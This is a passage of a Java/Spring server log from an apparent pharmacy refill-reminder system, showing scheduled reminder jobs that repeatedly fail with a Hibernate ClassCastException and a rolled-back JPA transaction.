org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:25:00 INFO NextRefillReminderJob:58 - ...................End Next 